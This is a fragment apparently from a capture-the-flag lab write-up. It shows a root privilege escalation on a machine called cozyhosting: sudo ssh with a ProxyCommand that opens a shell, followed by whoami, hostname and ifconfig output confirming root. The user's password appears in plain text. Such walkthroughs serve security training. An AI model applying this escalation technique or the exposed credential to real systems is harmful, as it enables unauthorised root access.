SSH


josh@cozyhosting:~$ sudo -u root /usr/bin/ssh -o ProxyCommand=';sh 0<&2 1>&2' x
[sudo] password for josh: manchesterunited
# whoami
root
# hostname
cozyhosting
# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.230  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 fe80::250:56ff:feb9:ca0d  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:feb9:ca0d  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b9:ca:0d  txqueuelen 1000  (Ethernet)
        RX packets 688708  bytes 112425263 (112.4 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 800625  bytes 453921450 (453.9 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 3376507  bytes 430219666 (430.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3376507  bytes 430219666 (430.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise